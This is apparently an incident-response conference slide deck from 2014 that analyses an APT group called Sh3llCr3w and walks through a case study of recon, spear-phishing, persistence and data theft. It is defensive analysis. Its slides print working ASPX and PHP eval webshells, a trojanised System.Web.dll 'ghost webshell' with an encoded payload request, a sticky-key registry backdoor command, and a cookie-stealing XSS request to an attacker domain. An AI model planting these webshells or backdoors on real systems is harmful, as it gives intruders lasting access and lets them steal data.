Dissecting the Tactics of an Advanced Adversary (Sh3llCr3w)

ISACA Conference
December 2014

Presented By:
Hermes Bojaxhi
Rui Ataide
Overview of Topics

- RSA Intro
- Who is “Sh3llCr3w”
- Modus Operandi
- TTPs: Webshells/Backdoors
- Case Study 2014
  - Recon
  - Compromise
  - Persistence
  - Re-compromise Attempts
RSA Incident Response Practice

• The Team:
  – Top Industry Talent
  – Backgrounds in:
    • Federal, Military, Private Industry and Law Enforcement
  – Passionate Hunters

• Our Customers:
  – Fortune 50, 100 and 500 companies
  – Financial Institutions
  – Insurance/Utility companies
  – Governments/Universities
Who is the Sh3llCr3w

- Advanced Persistent Threat (APT) group, a.k.a
  - Deep Panda
  - WebMasters
  - KungFu Kittens
  - PinkPanther

- Objectives:
  - Penetrate networks to steal:
    - Intellectual Property
    - Sensitive communication
Modus Operandi

- Exploit web app vulnerabilities
- Multi-pronged Spear-phishing
  - Harvest Credentials
  - Deliver Trojans
  - Cookies stealing
- Gain Administrator access to network
- Install Backdoors/Webshells
- Regular visits to steal data
Persistence Techniques

- Various Webshells
  - ASPX, JSP, PHP, CFM, etc.
- Register DLLs with IIS
- Modify System.Web.dll (Ghost Webshell)
- Sticky-Key Backdoor
- Trojans
  - Derusbi/Axel/Rabbithole/Keyloggers
Persistence: Webshells

• Simple or complex scripts that execute commands on webserver hosting it:
  – File system traversal
  – File upload/download/execution
  – Database connectivity
  – Light or no obfuscation (ASCII hex or Base64)

• A simple Webshell:

<%@ Page Language="Jscript" validateRequest="false" %>
<%eval(System.Text.Encoding.Default.GetString(Convert.FromBase64String((Request.Item["logon"]).Remove(0, 6)),"unsafe");Response.Clear();Response.StatusCode = 404; %>
Persistence: Register DLL with IIS

```
POST /my.jna/?check=589482179 HTTP/1.1
Host: mywebsite.com:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Content-Type: application/octet-stream
Content-Length: 387

2102....s.......2102....c.......c...........?..bO...GET
http://www.ywebtestrunner.com/.cfm HTTP/1.1
Host: www.ywebtestrunner.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
```
Persistence: Modify System.Web.dll

- System.Web.dll is an assembly of namespaces
  - Can be decompiled with DotNET Reflector
  - Contains hundreds of C# scripts

- ShellCrew modified two scripts:
  - PageHandlerFactory.cs
  - default_aspx.cs

- Modifications create a “ghost” webshell
  - POST to non-existent web pages
  - Payload contain special marker
Persistence: Modify System.Web.dll

```csharp
private IHttpHandler GetHandlerHelper(HttpContext context, string requestType, VirtualPath virtualPath, string physicalPath)
{
    string str = context.Request["4B39DD871AD56E6BFEC750C3313B985"];
    if (str != null)
    {
        return new default_aspx();
    }

    Page page = BuildManager.CreateInstanceFromVirtualPath(virtualPath, typeof(Page), context, true, true) as Page;
    if (page == null)
    {
        return null;
    }

    return null;
}
```

If the payload of the POST request contains marker call default_aspx

```csharp
try {
    _v = (HtmlTextWriter) ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars[0];
    parameterContainer = (Control) ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars[1];
    obj2 = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars[2];
}
```

Added code
Persistence: Ghost WebShell Example

```
POST /idontexist.aspx HTTP/1.1
Cache-Control: no-cache
Referer: http://mywebserver.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: mywebserver.com
Content-Length: 1113
Connection: Close

4B39DD871AD56E6BFEC750C33138B985=Response.Write("-->");var
err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("dmFyIGFmbHmV3IFN5c3RlbS5EWFhmbm9zdGljcy5Qcm9jZXNoU3RhcmRJbmZvKFNSc3Rl
bS5UZXh0LkVuY29kaW5nLkd1dEVuY29kaW5nKDKzNiR2V0U3RyaW5nNFNSc3RlbS5bZ25jX0lk
Y2VzcyggO3ZhciiVdX6U3lzdGVtLk1PLmVhcmhVb2N1YkxFeWdJFkh0am1kVEJ2aWxkV2Vzcygg
MuVXN1U2h1bGxPeG5VjdxR1PWZhbHNlO2MuUmVkaXJ1Y3RTdGFuZGFyZE91dHB1dD10cnV1O2Mu
UmVkaXJ1Y3RTdG5PZEVyYm9yPXRYdWU7ZS5TdGFyEdEUz6m99YzttJlKjFyZ3VtZW50czoiL2MgIitTeXN0ZW0uVG4dCFbm
NVZGlUZy5HZXRFbmNVZGlUZyg5MzYpLkd1dFN0cmluZyhitXN0ZW0uQ29uY2dvYyc5cm9tQmFzTY0U3RyaW5n
KFJlcyY1c3QuSXRlbVsiiej1lXSkpO2Uu3RhcmQoK2tvdXQ9ZS5tdGFuZGFyZE91dGB1dD1tFSt1LmN1YmV5
YXJkRXJyY3I7ZS5DbG9zZSgpO1Jlc3BvbnNlL2diyaXR1KG91dC55ZWFkVG9fbmQoKStFSSZSWFkVG9fbmQoKSk7
"),"unsafe");catch(err){Response.Write("ERROR://"+err.message);Response.Write("<");Response.End();}&z1=Y21k&z2=YZQgL2qGIk6XGl5dZVic2VydlyVCImd2hvYWlpJmVjaG8gW1N4JmNkJmVjaG8gW1N4
Persistence: Sticky-key Backdoor

- Replace `sethc.exe` with `cmd.exe`
- Register Debugger for `sethc.exe` in registry

```
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
```
Persistence: Trojan.Rabbithole

- Written in .NET 2.0
- Trojan Functionality
  - Proxy capability
  - User impersonation
  - Time stomping
  - GREP like functionality
  - WMI integration

![Screen capture showing MFT Viewers and C2 Locations with file details like Name, Size, MFT Update Times, and Full path.]
Case Study 2014 – Overview

1. **Recon**
   - Three months recon on victim prior to attack

2. **Spear-phishing email**
   - Three-pronged phishing email to guarantee success

3. **Windows Domain Compromise**
   - Password dumping, lateral movement, backdoors

4. **Linux Domain Compromise**
   - Root credentials, webshells installed.

5. **Data Exfil**
   - Repeated Intellectual Property theft

6. **RSA IR hired**
   - Hired for a completely different infection

7. **Remediated**
   - All backdoors removed, Alerts setup

8. **Re-entry Attempts**
   - Perimeter scans, multiple spear-phishing

**Intrusion Timeline**

- Day -90
- Day 0
- Day 3
- Day 25
- Day 54
- Day 211
- Day 268

© Copyright 2014 EMC Corporation. All rights reserved.
Case Study 2014 – Victim Profile

- Technology industry vertical
- Designs and manufactures products
  - Lots of engineers
- Global presence
- 15,000 Windows endpoints
- 10,000 *nix endpoints
  - Primary source of Intellectual Property (IP)
Case Study 2014 – Recon

• First sign of recon – April 2013
  – Source IP: 116.48.137.24 (Hong Kong)

• Started with scan for SQL vulnerabilities
  – Sqlmap/1.0-dev (http://sqlmap.org)

• Google hacking
  – “site: victim.com +filetype:swf”
  – “site: victim.com +ftp.victim.com +passwords”

• Cross Site Scripting (XSS)
  – June 2013 – identified XSS vulnerable page

• Engineering portal hosted at victim.com
  • Created account and tested redirect

• July 10th 2013 delivers spear-phishing email
Case Study 2014 – Recon

- Testing redirect prior to spearphish – July 2013

2013-07-10 13:57:50 116.48.137.23
GET /..._aspx?pstid=10096&la=ja "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0"
"..."_id=test|test|f2036482@rmqkr.net

2013-07-10 13:58:38 116.48.137.23
GET /..._aspx?pstid=10096<h1>test&la=ja "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0"
"..."_id=test|test|f2036482@rmqkr.net

2013-07-10 13:59:27 116.48.137.23
GET /..._aspx?pstid=10096 iframe src=http://www.yahoo.com> /iframe>#5361255989912597892&la=ja "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0"
"..."_id=test|test|f2036482@rmqkr.net

2013-07-10 14:05:34 116.48.137.23
GET /..._aspx?pstid=10096 iframe src http://www.yahoo.com>&la=ja "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0"
"..."_id=test|test|f2036482@rmqkr.net

2013-07-10 14:07:23 116.48.137.23
GET /..._aspx?pstid=10096 iframe src http://www.yahoo.com>&la=ja "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0"
"..."_id=test|test|f2036482@rmqkr.net
Case Study 2014 – Recon

- Three stage spear-phish – July 2013

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>IP Address</th>
<th>Request URI</th>
</tr>
</thead>
<tbody>
<tr>
<td>2013-07-10</td>
<td>18:07:00</td>
<td>116.48.137.23</td>
<td>GET /crabdance.com/rss/COOKIE.php?c=+encodeURIComponent(DOCUMENT.COOKIE)+width=10+height=10+border=0+script+%3C%=+&quot;Mozilla/5.0+(Windows+NT+6.1;%20WOW64;%20rv:22.0)+Gecko/20100101+Firefox/22.0&quot;+&quot;%23%2f_id:%2f1096304%40rmqkr.net&quot;</td>
</tr>
<tr>
<td>2013-07-10</td>
<td>18:07:00</td>
<td>116.48.137.23</td>
<td>GET /crabdance.com/rss/401.php &gt; /iframe&gt; &quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0&quot; &quot;%23%2f_id:%2f1096304%40rmqkr.net&quot;</td>
</tr>
<tr>
<td>2013-07-10</td>
<td>18:07:00</td>
<td>116.48.137.23</td>
<td>GET /crabdance.com/login/member.html &gt; /iframe&gt; &quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0&quot; &quot;%23%2f_id:%2f1096304%40rmqkr.net&quot;</td>
</tr>
</tbody>
</table>
Case Study 2014 – Spear-Phish

- Credential Theft & Trojan Delivery
Case Study 2014 – Spear-phish

• Spear-phish delivers Trojan.Axel
• A few hours later Trojan.Derusbi appears
Case Study 2014 – Entrenchment

- Webshell Entrenchment – Exchange servers
- Webshell Entrenchment – Webserver running ColdFusion
Case Study 2014 – Data-theft

- Data theft from Windows environment in early days of intrusion
- RAR utility named “hotfix.log”
- Archive files named “hotfix#.dat”
Case Study 2014 – Entrenchment

- Webshell Entrenchment – Linux Systems
Case Study 2014 – Data-Theft

- Review of web server logs revealed signs of data theft
- Preferred names: “hotfix.dat”, “help.html”, “logo.gif”
- Over 4 GB of Intellectual Property
Case Study – Total Network Compromise

• Compromised domain credentials
• Moved laterally to over 40 Windows & Linux systems
• Placed ASPX webshells on the two Exchange servers
  • Used this webshell every month to launch Trojan.Rabbithole
  • Visited engineers’ workstations.
• Placed CFM webshells on Windows server running Coldfusion
• Placed PHP webshell on one internal Linux server
• Leveraged “besadmin” account to access OWA and read emails
• Used custom email harvesting tool.
  • Attempted to extract 5GB of email from company CFO.
• Leveraged Linux webshell to access Intellectual Property
  • Exfiltrated several product design databases
Case Study – Network Compromise

- Evidence of lateral movement and network/user mapping
- Hash dumping of all AD users
Case Study – Remediation

• RSA responded between February – April 2014
• Company ready to remediate on 4 April 2014
  • All webshells deleted
  • All infected workstations rebuilt
  • All domain names sinkholed
  • All IP addresses were blocked outbound
  • Alerts were set on attempts to access webshells
  • 2-factor VPN access
• Intense Monitoring Phase
  • Alerts set for:
    • Known IPs
    • Webshell access
    • Service Accounts
Case Study – Re-Entry Attempts

• ShellCrew attempted to come back 12 April 2014
  • Failed attempts to authenticate with OWA and access webshell
  • VPN login failures
  • Hundreds of attempts to login to OWA with service accounts
• 18 April 2014 Spear-phishing
  • Attempted to spear-phish with identical method as July 2013. Very poor attempt.
• 8 August 2014 Spear-phish
  • Credential theft and malware drop
  • Google proxy service
• 18 August 2014
  • Spear-phish targeting Linux webshell
Case Study – 8 August Spear-Phish

• Spear-phish targeted 200 users
• Some emails also had a malicious attachment
Case Study – 8 August Spear-Phish

• Credential harvesting
Case Study – 8 August Spear-Phish

- Malicious attachment was password protected zip file (setup.zip)
  - Password: **hotfix**
- Dropped Trojan.Axel
  - Beacons to jaxupdate.crabdance.com (158.255.2.161)
Case Study – 18 August Spear-Phish

- Spear-phish targeted Linux webshell
Case Study – 18 August Spear-Phish

Malicious URL loaded automatically
Case Study – 18 August Spear-Phish
Case Study – info.php

- The 30 bytes that can cost your company millions:

```php
<?php @eval($_POST['test']);?>
```
Sh3llCr3w Summary

- A truly Advanced APT group using advanced techniques to remain entrenched
- Once entrenched, they maintain a low profile on the network
  - Victims usually are notified rather than discover Sh3llCr3w themselves
- Other engagements we’ve see just VPN access with one webshell
  - Moving to almost Trojan-free compromises
- If discovered on your network a thorough investigation followed by a carefull remediation plain is needed to successfully expel and keep out of network.
- More technical information on some of their Trojans and techniques:
- Stay tuned for an updated report coming in the near future